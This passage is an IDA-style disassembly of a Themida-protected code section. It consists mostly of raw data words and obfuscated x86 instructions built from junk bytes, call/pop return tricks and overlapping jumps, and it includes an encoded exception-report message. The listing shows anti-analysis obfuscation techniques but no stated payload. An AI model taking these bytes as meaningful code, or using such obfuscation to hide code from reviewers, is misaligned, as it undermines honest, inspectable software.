		dd 43850Fh, 9D090000h, 7D108DDh, 339BBD83h, 0F0007D4h
		dd 6884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 93273E4Fh, 8BC024B8h, 0D132858Dh
		dd 0BD8B5107h, 7D13215h, 1220E959h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 7CD448C3h
		dd 8E9384Eh, 0AD000000h, 0D7D57516h, 0B5E00CCh,	0D12199BDh
		dd 570E907h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0BE98EC3h, 0D6000000h, 8DC10376h
		dd 0C20AFC6Fh, 0C08B29C9h, 1B860Fh, 0FE80000h, 0F0000000h
		dd 8481C01Bh, 0CB17F026h, 75ADB00Dh, 0BD897A9Ah, 7D1298Dh
		dd 5BD8359h, 7D134h, 0BD830975h, 7D12849h, 50197400h, 0B8C08B53h
		dd 7D4h, 13D58589h, 9D8D07D1h, 7D3E1B0h, 585BD3FFh, 2849BD83h
		dd 740007D1h, 0B8535017h, 7D4h,	13D58589h, 9D8D07D1h, 7D3DE9Fh
		dd 585BD3FFh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	0EDC35141h, 0CA814707h,	32B7EDFh, 8BFA8B66h, 880FC0h
		dd 68000000h, 0F003Fh, 10E956h,	74120000h, 6F84B8F3h, 0CC5B254Dh
		dd 0B2641AC4h, 6A5F1659h, 39BD2900h, 6A07D10Fh,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 7680CB6Ch, 8914EB85h, 0D106BD85h, 0E1950907h, 0FF07D11Fh
		dd 0D100D195h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 4891666Eh, 218529D9h
		dd 5107D10Ch, 2179B589h, 855F07D1h, 31850FC0h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 7F29C356h, 0FD3C2A22h, 659B5548h,	68C0Fh
		dd 0BD8B0000h, 7D12039h, 23988589h, 0BF0F07D4h,	0E9006AD2h
		dd 0Ch,	0B01FCAEDh, 7B4E51AFh, 45CEF2EBh, 6840Fh, 9D890000h
		dd 7D113A9h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0BD8BE5C3h, 7D13275h, 0FA8B006Ah
		dd 11E8006Ah, 90000000h, 0AAC28527h, 0E02B42Bh,	43EB4A0Fh
		dd 97990A3Dh, 5F3BE280h, 0E8F8006Ah, 6,	0A0298CDh, 0FE927E8h
		dd 0FE000000h, 0AFA342A2h, 6296A28Ah, 0E05ECA82h, 8D5FD1E6h
		dd 0D4257685h, 50D38B07h, 80F5B966h, 3160016Ah,	0D10BF59Dh
		dd 16A6107h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	99C35242h, 0F5589730h, 60016A28h, 0C2D9533h, 686107D1h
		dd 0F01FFh, 83C4E580h, 0D11E11BDh, 840F0007h, 3Ch, 8DD0B70Fh
		dd 0D423F585h, 0F18D8B07h, 0E907D113h, 5Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0CEC35141h, 0A0D7D903h
		dd 8589ED71h, 7D1154Dh,	23CB858Dh, 6A07D4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 6F8FA2C3h
		dd 501D756Eh, 29277426h, 0D12D998Dh, 4CE58007h,	0F2816650h
		dd 0BF0F1F14h, 6A50FBh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 34AA45C3h, 5E9h,	0A86B1700h, 0B5FF9EC6h
		dd 7D42398h, 0FFFE8B66h, 0D4238495h, 13E907h, 7EF40000h
		dd 5A762F56h, 5BC954A5h, 666A67D0h, 0ECE94015h,	0FC085E6h
		dd 2185h, 0D2C78100h, 0E9746B5Bh, 51h, 11E9h, 0DC032300h
		dd 75415A4Ah, 0D74EB5A6h, 0BE51FFh, 85896350h, 7D4239Ch
		dd 22B5BD8Bh, 0B70F07D1h, 9CB5FFF8h, 6607D423h,	727F181h
		dd 1BF595FFh, 800F07D1h, 6, 2DB18589h, 0C08507D1h, 7850Fh
		dd 860F0000h, 1, 80106AFCh, 0BD8354EAh,	7D11E11h, 22840F00h
		dd 8B000000h, 0D111558Dh, 0DBC6B907h, 858D41CEh, 7D423F5h
		dd 2C11958Bh, 37E907D1h, 89000000h, 0D11AF995h,	0CB858D07h
		dd 6A07D423h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 2D45C355h, 78AFE186h, 93FA93A9h
		dd 67D0EF81h, 0E9502757h, 8, 5B7F58F1h,	6F54737Eh, 2398B5FFh
		dd 6A07D4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0F89E4DC3h, 8901E160h, 13E9h, 4A538000h
		dd 0DE6A8FF7h, 3FBA4F56h, 0CB7D5B54h, 0BFED3A33h, 0FF14D680h
		dd 0D4239095h, 0F8BF0F07h, 213DB589h, 0C08507D1h, 850Fh
		dd 85890000h, 7D4239Ch,	12E9h, 3C1C6F00h, 0E9C702EFh, 0A9010129h
		dd 0FCF2A1FAh, 6A26B4BFh, 558D2300h, 6A07D132h,	51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 50017634h, 89B589BAh, 0FF07D106h, 0D4239CB5h, 7FA4B907h
		dd 95FF75F0h, 7D42388h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0F8C35747h, 75CEE215h, 0BE87Dh, 1BF20000h
		dd 54F1C7DAh, 6931BC25h, 0D6BF0FD1h, 0FC0855Fh,	285h, 0FFD5B200h
		dd 0D4239CB5h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0C6DFEA31h, 7933202Bh
		dd 8BF2D980h, 0F595FFD6h, 6A07D11Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0DD71C355h
		dd 1E3C9D7Eh, 0D6B70F0Bh, 850FC085h, 6,	3179958Bh, 6A07D1h
		dd 8830Fh, 1600000h, 0D1111585h, 80686107h, 89000000h
		dd 0D123918Dh, 2BF18107h, 6A6651CBh, 6AF803h, 59858B60h
		dd 6107D12Ah, 8B66006Ah, 0D8D31D1h, 6807D132h, 0C0000000h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0EFC35646h
		dd 0ECDA1E3Dh, 0E8A27FA9h
		dd 9, 0F98AF41Ah, 52DD3D7Ch, 68D0F5Eh, 0F000000h, 8Ah
		dd 0B5FF5A00h, 7D42414h, 29B25050h, 95FF595Ah, 7D11A79h
		dd 0D83ABA66h, 837AC980h, 850FFFF8h, 495h, 13E9h, 83638500h
		dd 0D290714Dh, 4F618821h, 435AFC9Fh, 3A30C622h,	2E8285FFh
		dd 0BD8B07D4h, 7D116E9h, 2E82BD83h, 0F0207D4h, 39984h
		dd 0F2816000h, 589CB57Bh, 18558589h, 8D6107D1h,	5B243B85h
		dd 7DBD8B00h, 0E807D11Eh, 14h, 0A7004B2Bh, 0D26B51A2h
		dd 0E6FF763Ah, 8CEFE606h, 0C9040411h, 830F60h, 66000000h
		dd 1611F181h, 0D0FF5961h, 8E858DFCh, 6A005B1Eh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0FF3DC352h, 0D8D89D0h, 8B07D114h, 88D0FC0h, 52000000h
		dd 25658D03h, 0F5A07D1h, 0BD83F9BFh, 7D13405h, 83097500h
		dd 0D12849BDh, 19740007h, 0C08B5350h, 7D8B8h, 0D5858900h
		dd 8D07D113h, 0D3E1B09Dh, 5BD3FF07h, 49BD8358h,	7D128h
		dd 53501774h, 7D8B8h, 0D5858900h, 8D07D113h, 0D3DE9F9Dh
		dd 5BD3FF07h, 0BD8D8B58h, 0F07D122h, 68Eh, 2AE28100h, 6A39E999h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0D3B2C353h, 66C08B0Dh, 683226BAh,	0F003Fh
		dd 0F8E0Fh, 0E9560000h,	8, 0C3EF83A5h, 0E09D9A56h, 0F9006A59h
		dd 0BD8B006Ah, 7D12D79h, 0D195FFh, 0B70F07D1h, 8BC085CAh
		dd 988589D0h, 0F507D423h, 0F01FF68h, 0CC05B900h, 0BD833A01h
		dd 7D11E11h, 5C840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 935FC356h
		dd 204F1C50h, 2EE5958Bh, 858D07D1h, 7D423F5h, 13FCD981h
		dd 30E90659h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 7D2C353h, 0AB84962h
		dd 8DCAB6B6h, 0D423CB85h, 0D98D0107h, 5007D113h, 48D0Fh
		dd 0BA660000h, 0B5FF4121h, 7D42398h, 8E9h, 853C1200h, 8EC48009h
		dd 0AE94Fh, 0AD920000h,	9BB6B9CFh, 33A11D8Ch, 239095FFh
		dd 0EE907D4h, 0F1000000h, 5D445FD6h, 69B1DD02h,	0AA53E051h
		dd 9C8589D2h, 8907D423h, 0D10EE595h, 3185C707h,	7D107h
		dd 60000000h, 6810Fh, 0E6810000h, 7E6B12A6h, 0BFF08166h
		dd 0F506115h, 58Dh, 0DA816600h,	835FD36Bh, 0D4239CBDh
		dd 840F0007h, 14Bh, 0FBC28166h,	7A858D95h, 8A07D426h, 816650CEh
		dd 6AE99EC7h, 14E901h, 320E0000h, 0B8B8F71Dh, 0BE668513h
		dd 0B8B5C0CFh, 83E58B66h, 8D8B6AAFh, 7D13391h, 239CB5FFh
		dd 9D2907D4h, 7D11E29h,	239495FFh, 0D1BA07D4h, 0FF241AC7h
		dd 0D4239CB5h, 0FFD08B07h, 0D11BF595h, 13E95707h, 3F000000h
		dd 0E9A13368h, 8AB8C973h, 9A7E50C5h, 0F9E6B835h, 6859F120h
		dd 0F01FFh, 31859589h, 0BD8307D1h, 7D11E11h, 46840F00h
		dd 0F000000h, 682h, 298D8B00h, 8D07D12Ch, 0D423F585h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 67DC8E93h, 0BF0F30F6h, 98D8BD2h, 0E907D11Eh,	11h, 66E18166h
		dd 0CB858D97h, 8B07D423h, 0D10F15BDh, 0B70F5007h, 658D89C9h
		dd 0FF07D117h, 0D42398B5h, 498D8B07h, 0FF07D133h, 0D4239095h
		dd 9C858907h, 8907D423h, 0D12915BDh, 59D3107h, 0FF07D120h
		dd 0D4239CB5h, 0FFD4B507h, 0D4238C95h, 0CA8B6607h, 0DE8h
		dd 0DF60D600h, 18D6403Ch, 8D2F53D3h, 0BD8B2FFDh, 7D133DDh
		dd 9CB5FF59h, 6607D423h, 0FF7938B9h, 0D11BF595h, 9858907h
		dd 0E907D10Fh, 0FFFFF65Ah, 2CEDBD8Bh, 0B5FF07D1h, 7D42EE5h
		dd 95FFBDB6h, 7D11801h,	15858D0Bh, 858B07D1h, 7D11119h
		dd 0ECEA8166h, 618E9F8h, 0BD8B0000h, 7D113B1h, 269AB58Dh
		dd 0B58907D4h, 7D12E7Dh, 0D40F858Dh, 6A07D3h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 9C5B55C3h
		dd 34BB029Bh, 0D0FFCE8Bh, 13E9h, 1FC4EF00h, 0CE0FB28Ah
		dd 63F27E78h, 6218CF86h, 0B25D74E4h, 9D2B6060h,	7D126A5h
		dd 79BD3361h, 6107D123h, 8D8B006Ah, 7D12D69h, 309195FFh
		dd 8B5707D1h, 81665FC8h, 8B4599E2h, 0A99589F3h,	8D07D128h
		dd 0D3D40F85h, 7DD5BF07h, 0D0FF3371h, 6AFEBF0Fh, 759D8900h
		dd 0FF07D129h, 0D1309195h, 0A8BA6607h, 60C08B9Eh, 0DE9h
		dd 2323CC00h, 1ECF5C28h, 7B49F7B4h, 0CF818E6Ch,	35CD9E39h
		dd 5BD8361h, 7D134h, 0BD830975h, 7D12849h, 50197400h, 0B8C08B53h
		dd 7D9h, 13D58589h, 9D8D07D1h, 7D3E1B0h, 585BD3FFh, 2849BD83h
		dd 740007D1h, 0B8535017h, 7D9h,	13D58589h, 9D8D07D1h, 7D3DE9Fh
		dd 585BD3FFh, 0D4AD89BFh, 4D958B49h, 8B07D11Dh,	0D2C181C0h
		dd 5069AF13h, 0AE9h, 823D0B00h,	0F50D4ECBh, 8B45ABCBh
		dd 1D8D89D8h, 8907D121h, 0D13449B5h, 9D8D5307h,	7D11D71h
		dd 389038Bh, 8950438Bh,	9D8D5043h, 7D42E7Eh, 389038Bh
		dd 846BF5Bh, 23525978h,	0D113F995h, 6A5F07h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0DBC35141h, 0FE08E8Fh
		dd 58Eh, 0E78CB900h, 0D68B569Ch, 2E7E858Dh, 6A07D4h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0A12CCCC3h, 10D1F7ACh, 19820F83h, 0E9000000h, 14h, 5EB6E2EDh
		dd 0B9E0B7B4h, 6410DC31h, 0BC268830h, 0D9C73288h, 0DE950h
		dd 0DA30000h, 61FA69F8h, 0D7574409h, 6A57B9DEh,	51006A60h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0E28AEF54h, 0EA81533Dh, 317FA319h, 1D2D958Bh, 858D07D1h
		dd 7D11D71h, 0AE9h, 4E452A00h, 0CCC2327h, 50FC91B2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0BEC35242h, 0E6AC7ACBh
		dd 5B0330E5h, 9E8h, 0D486A600h,	0F303C862h, 52BF4E99h
		dd 5A7D2756h, 8D2B006Ah, 7D128F1h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0E5B396C3h
		dd 0DE88D87Bh, 14E9E4h,	8CE0000h, 8332ECD5h, 0E63EAC12h
		dd 0D1A227D7h, 7F182295h, 68911Bh, 66000018h, 2C53D281h
		dd 53C88B66h, 591BB257h, 248D95FFh, 28B207D1h, 270995FFh
		dd 13BF07D1h, 29303CA1h, 0D10C2D9Dh, 0E5B5FF07h, 6A07D42Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 2E6CC351h, 50083CBAh, 0CE902h, 88190000h
		dd 9A632649h, 37B4DE58h, 95FFBA13h, 7D11801h, 68C0Fh, 8D230000h
		dd 7D124F9h, 1D71858Dh,	6A07D1h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 67039CC3h, 8BE563A7h
		dd 0F6801840h, 0D985C717h, 7D116h, 31000000h, 0D12F158Dh
		dd 11BD8307h, 7D11Eh, 4D840Fh, 7E90000h, 0E0000000h, 0A575664Ah
		dd 8C3D6325h, 0F000000h, 19883h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 543FBA4Fh
		dd 458D895Bh, 6607D120h, 0FF96F181h, 14E9h, 95EF8100h
		dd 3D4FCF94h, 98h, 157830Fh, 8B660000h,	3B858DCEh, 66005B24h
		dd 0FF93D1BAh, 4F35BAD0h, 858D11FAh, 5B1E8Eh, 0DD8D8Bh
		dd 0D0FF07D1h, 8BACC680h, 75958BC0h, 8307D105h,	0D13405BDh
		dd 9750007h, 2849BD83h,	740007D1h, 8B535019h, 0BC6B8C0h
		dd 85890000h, 7D113D5h,	0E1B09D8Dh, 0D3FF07D3h,	0BD83585Bh
		dd 7D12849h, 50177400h,	0BC6B853h, 85890000h, 7D113D5h
		dd 0DE9F9D8Dh, 0D3FF07D3h, 0BD8B585Bh, 7D122D9h, 1BD2350h
		dd 5907D125h, 0BA66C08Bh, 0F8832C6Eh, 7C850FFFh, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0F78CC356h, 72EA5231h, 51A64908h,	10E8h
		dd 67A3BA00h, 6BAB2107h, 886B377Ch, 0FA2A381Bh,	0FE9A4h
		dd 16050000h, 0EF93AC5Dh, 0ED1DA093h, 0C7D2298h, 81665AEDh
		dd 0C70D7DCFh, 0D1289585h, 7, 58A0F00h,	66000000h, 0F1ABF781h
		dd 0E9E9h, 0F9BD2300h, 0E907D133h, 3Eh,	83F3E180h, 850F01F8h
		dd 32h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh
		dd 8EC35242h, 414DD3F2h, 34C7266h, 0E2E6BF57h, 3E97B33h
		dd 66000001h, 13E9FA8Bh, 89FFFFF1h, 0D13329B5h,	8BC08B07h
		dd 0D11D698Dh, 5BD8307h, 7D134h, 0BD830975h, 7D12849h
		dd 50197400h, 0B8C08B53h, 7DDh,	13D58589h, 9D8D07D1h, 7D3E1B0h
		dd 585BD3FFh, 2849BD83h, 740007D1h, 0B8535017h,	7DDh, 13D58589h
		dd 9D8D07D1h, 7D3DE9Fh,	585BD3FFh, 5E9958Bh, 8B0F07D1h
		dd 5, 0F3D98166h, 6AC08B7Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 59C5C355h, 816646C7h
		dd 0E9B1F0EFh, 23Ah, 3F18D8Bh, 858D07D1h, 7D42C82h, 3391B529h
		dd 858907D1h, 7D42E7Ah,	1BA59D89h, 7DE907D1h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0DD05C357h, 8E860h, 25050000h, 75C2BE03h
		dd 0AE8C1D9h, 0AE000000h, 4D20C59Ah, 6F0043C0h,	815E5E49h
		dd 0E77568D2h, 858D6151h, 7D42A8Ah, 6890Fh, 0B5310000h
		dd 7D10845h, 52006A40h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 7A8589CDh, 0BA07D42Eh, 131FF5F3h
		dd 858D346Ah, 7D12621h,	7AB5FF50h, 6A07D42Eh, 0A995FF00h
		dd 8307D11Ah, 840F07F8h, 168h, 0F6DB8C66h, 850F04C3h, 102h
		dd 31B585C6h, 685607D1h, 9CA8B852h, 1CC9B5FFh, 858D07D1h
		dd 7D13B01h, 46AD0FFh, 100068h,	6A646A00h, 89D0FF00h, 0D42EED85h
		dd 0B585C607h, 4707D131h, 18AC9B68h, 0C9B5FFECh, 8D07D11Ch
		dd 0D13B0185h, 0FFD0FF07h, 0C6F08BD0h, 0D131B585h, 61684F07h
		dd 0FFC62F26h, 0D12D09B5h, 1858D07h, 0FF07D13Bh, 0E99D8DD0h
		dd 5307D42Eh, 0FF56286Ah, 75C085D0h, 0B585C600h, 4107D131h
		dd 87649868h, 9B5FFDBh,	8D07D12Dh, 0D13B0185h, 89D0FF07h
		dd 0D42F0685h, 0B585C607h, 4C07D131h, 0A4E7A468h, 9B5FF80h
		dd 8D07D12Dh, 0D13B0185h, 8BD0FF07h, 0D42EED9Dh, 45B8D07h
		dd 0F29D8D53h, 5307D42Eh, 0D0FF006Ah, 2EED9D8Bh, 3C707D4h
		dd 1, 20C43C7h,	8B000000h, 0D10F799Dh, 0B185C707h, 7D10Fh
		dd 6A000000h, 6A006A00h, 0ED9D8B00h, 5307D42Eh,	0B5FF006Ah
		dd 7D42EE9h, 2F0695FFh,	85C607D4h, 7D131B5h, 0F7976845h
		dd 0B5FF92A5h, 7D130F9h, 3B01858Dh, 0D0FF07D1h,	26A006Ah
		dd 8C66D0FFh, 4C3F6DBh,	9D8B3275h, 7D42EEDh, 0C43C7h, 6A000000h
		dd 8B006A00h, 0D42EED9Dh, 6A5307h, 2EE9B5FFh, 95FF07D4h
		dd 7D42F06h, 2EE9B5FFh,	95FF07D4h, 7D12709h, 95FF006Ah
		dd 7D13091h, 7819501h, 0BA6607D1h, 858D03EDh, 7D463D6h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 35C35747h
		dd 0FE11B966h, 0C5BD8950h, 6407D133h, 35FFh, 85890000h
		dd 7D100A1h, 258964h, 66000000h, 0BD83D78Bh, 7D12AA1h
		dd 50840F00h, 0E9000000h, 10h, 9BF6500Dh, 3C8384CCh, 0CE08C104h
		dd 8FABE523h, 1715BD83h, 0F0107D1h, 2E85h, 959D3100h, 8007D11Fh
		dd 0D43306BDh, 850F0007h, 1Bh, 14599533h, 0BA6007D1h, 2BCF5CCEh
		dd 16BA6656h, 0E9615848h, 135h,	3374CA80h, 6D8D89DBh, 3307D10Ch
		dd 66EA8AC0h, 0F40CB8Bh, 640B073Fh, 58Fh, 0C4830000h, 0ABC8B904h
		dd 0EFB536E1h, 0FFFFB83h, 3084h, 69BD8B00h, 0E907D102h
		dd 0EFh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0E1C35343h, 966C438Ch, 0BD939A44h, 6FE9ECh, 0F600000h
		dd 61F8FEB7h, 0C244C8Bh, 0A481C7h, 0FFFF0000h, 8183FFFFh
		dd 0B8h, 0C3C03304h, 0C245C8Bh,	0E855h,	815D0000h, 0D463F8EDh
		dd 0B8838B07h, 8D000000h, 0D4649F85h, 0B8838907h, 5D000000h
		dd 60C3C033h, 0E7D28166h, 6810F89h, 8B000000h, 0D107C9B5h
		dd 810F6107h, 6, 1F359529h, 8E0F07D1h, 5, 8BE28166h, 0EE858DC1h
		dd 5007D463h, 3385BD8Bh, 505A07D1h, 6ECF8166h, 35FF6454h
		dd 0
		dd 2079BD33h, 896407D1h, 25h, 0C1B58900h, 0B907D12Ah, 0Ah
		dd 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h,	34B640h
		dd 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h,	0D12A1985h
		dd 107h, 58F6400h, 0
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[ebp+7D12DEDh],	esi
		jmp	loc_5BCAF9
; ---------------------------------------------------------------------------
		dw 405Dh
		dd 126661E1h
		db 11h
; ---------------------------------------------------------------------------


loc_5BCAF9:				; CODE XREF: Themida_:005BCAEDj
		mov	ecx, [ebp+7D133ADh]
		mov	eax, eax
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_5BCB13
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5BCB2C


loc_5BCB13:				; CODE XREF: Themida_:005BCB08j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+7D12011h],	eax
		lea	ebx, [ebp+7D3E217h]
		call	ebx
		pop	ebx
		pop	eax


loc_5BCB2C:				; CODE XREF: Themida_:005BCB11j
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5BCB4C
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+7D12011h],	eax
		lea	ebx, [ebp+7D3DEB8h]
		call	ebx
		pop	ebx
		pop	eax


loc_5BCB4C:				; CODE XREF: Themida_:005BCB33j
		and	ecx, [ebp+7D133B9h]
		jo	loc_5BCB5E
		mov	edi, [ebp+7D12EF5h]


loc_5BCB5E:				; CODE XREF: Themida_:005BCB52j
		push	0
		push	ecx
		call	sub_5BCB69
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BCB69	proc near		; CODE XREF: Themida_:005BCB61p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5BCB69	endp

; ---------------------------------------------------------------------------
		db 0Fh,	0C3h, 0E9h
		dd 0Eh,	0ED057B10h, 116D8F10h, 29B0C9DBh, 0C08BB3CAh, 147E9h
		dd 400h, 392E3100h, 3031h, 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
		dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
		dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
		dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
		dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
		dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
		dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
		dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
		dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
		dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
		dd 20202020h, 25203D20h, 0D0A64h, 1139BD83h, 0F0007D1h
		dd 12D84h, 0CF858D00h, 5007D3DCh, 0DC39858Dh, 685007D3h
		dd 80000001h, 0DCDF95FFh, 858D07D3h, 7D46557h, 61858D50h
		dd 5007D465h, 6A006Ah, 0DC4D858Dh, 0FF5007D3h, 0D3DCCFB5h
		dd 6995FF07h, 8D07D134h, 0D4655785h, 858D5007h,	7D46565h
		dd 6A006A50h, 5F858D00h, 5007D3DCh, 0DCCFB5FFh,	95FF07D3h
		dd 7D13469h, 6557858Dh,	8D5007D4h, 0D4657185h, 6A5007h
		dd 858D006Ah, 7D3DCACh,	0CFB5FF50h, 0FF07D3DCh,	0D1346995h
		dd 57858D07h, 5007D465h, 6579858Dh, 6A5007D4h, 8D006A00h
		dd 0D3DCCA85h, 0B5FF5007h, 7D3DCCFh, 346995FFh,	858D07D1h
		dd 7D46557h, 75858D50h,	5007D465h, 6A006Ah, 0DCB3858Dh
		dd 0FF5007D3h, 0D3DCCFB5h, 6995FF07h, 8D07D134h, 0D4655785h
		dd 858D5007h, 7D46569h,	6A006A50h, 0BB858D00h, 5007D3DCh
		dd 0DCCFB5FFh, 95FF07D3h, 7D13469h, 6557858Dh, 8D5007D4h
		dd 0D4656D85h, 6A5007h,	858D006Ah, 7D3DCC2h, 0CFB5FF50h
		dd 0FF07D3DCh, 0D1346995h, 0CFB5FF07h, 0FF07D3DCh, 0D129D995h
		dd 0A2E907h, 0BD830000h, 7D12335h, 95840F00h, 83000000h
		dd 0D11715BDh, 850F0007h, 11h, 915958Bh, 0C28107D1h, 1CF8h
		dd 0FE9h, 71958D00h, 8B07D11Dh,	0C2813452h, 3BD4C340h
		dd 20219589h, 0BD8307D1h, 7D12021h, 55840F00h, 8B000000h
		dd 0D120219Dh, 4CC38307h, 8589038Bh, 7D46561h, 20219D8Bh
		dd 0C38307D1h, 89038B50h, 0D4656585h, 219D8B07h, 8307D120h
		dd 38B54C3h, 65718589h,	9D8B07D4h, 7D12021h, 8B58C383h
		dd 75858903h, 8B07D465h, 0D120219Dh, 5CC38307h,	8589038Bh
		dd 7D46569h, 1139BD83h,	0F0007D1h, 0D85h, 35BD8300h, 7D123h
		dd 68840Fh, 0B5FF0000h,	7D46579h, 656DB5FFh, 0B5FF07D4h
		dd 7D46569h, 6575B5FFh,	0B5FF07D4h, 7D46571h, 6565B5FFh
		dd 0B5FF07D4h, 7D46561h, 655B858Dh, 8D5007D4h, 0D4659385h
		dd 858D5007h, 7D10CCDh,	0B595FF50h, 8307D100h, 406A24C4h
		dd 657D858Dh, 8D5007D4h, 0D10CCD85h, 6A5007h, 1AA995FFh
		dd 16A07D1h, 309195FFh,	0C18B07D1h, 0FE8h, 0F13C7E00h
		dd 0C5DB623h, 5A0DA5CDh, 87D206CAh, 0D4DF8166h,	0F18B59DAh
		dd 5AF6C181h, 0CA810000h, 36493C89h, 168668h, 5E900h, 0C4FD0000h
		dd 58AC4235h, 31FF5F53h, 5BCFF680h, 6880Fh, 8A0F0000h
		dd 0
; ---------------------------------------------------------------------------
		xor	ebx, 3DDD6352h
		adc	dx, 4BB2h
		add	ebx, 44C947Bh
		mov	si, bx
		add	ebx, 10FD15DFh
		push	ebx
		push	edi
		sbb	esi, 560C27A0h
		pop	edi
		pop	dword ptr [ecx]
		jmp	loc_5BCFBF
; ---------------------------------------------------------------------------
		dw 258Fh
; ---------------------------------------------------------------------------
		add	eax, 0F40B8617h
		inc	ebp
		sub	[esi], bl
		fild	qword ptr [edx+4Eh]


loc_5BCFBF:				; CODE XREF: Themida_:005BCFADj
		sub	ecx, 4
		movsx	edx, ax
		sub	eax, 1
		jnz	loc_5BCFFA
		jmp	loc_5BCFE3
; ---------------------------------------------------------------------------
		dw 0EB7Fh
		dd 0C3F3ED26h, 1CD14BBAh
		db 0FEh, 9Ch, 0ECh
; ---------------------------------------------------------------------------


loc_5BCFE3:				; CODE XREF: Themida_:005BCFD1j
		jmp	loc_5BD023
; ---------------------------------------------------------------------------
		dd 0D76F2ED1h, 4C81B866h, 0C2050EF8h, 89315C2Ah
		db 0C6h, 0ADh
; ---------------------------------------------------------------------------


loc_5BCFFA:				; CODE XREF: Themida_:005BCFCBj
		call	near ptr loc_5BD006+6
		out	dx, eax
		fiadd	word ptr [ecx+4BE5033Ah]


loc_5BD006:				; CODE XREF: Themida_:loc_5BCFFAp
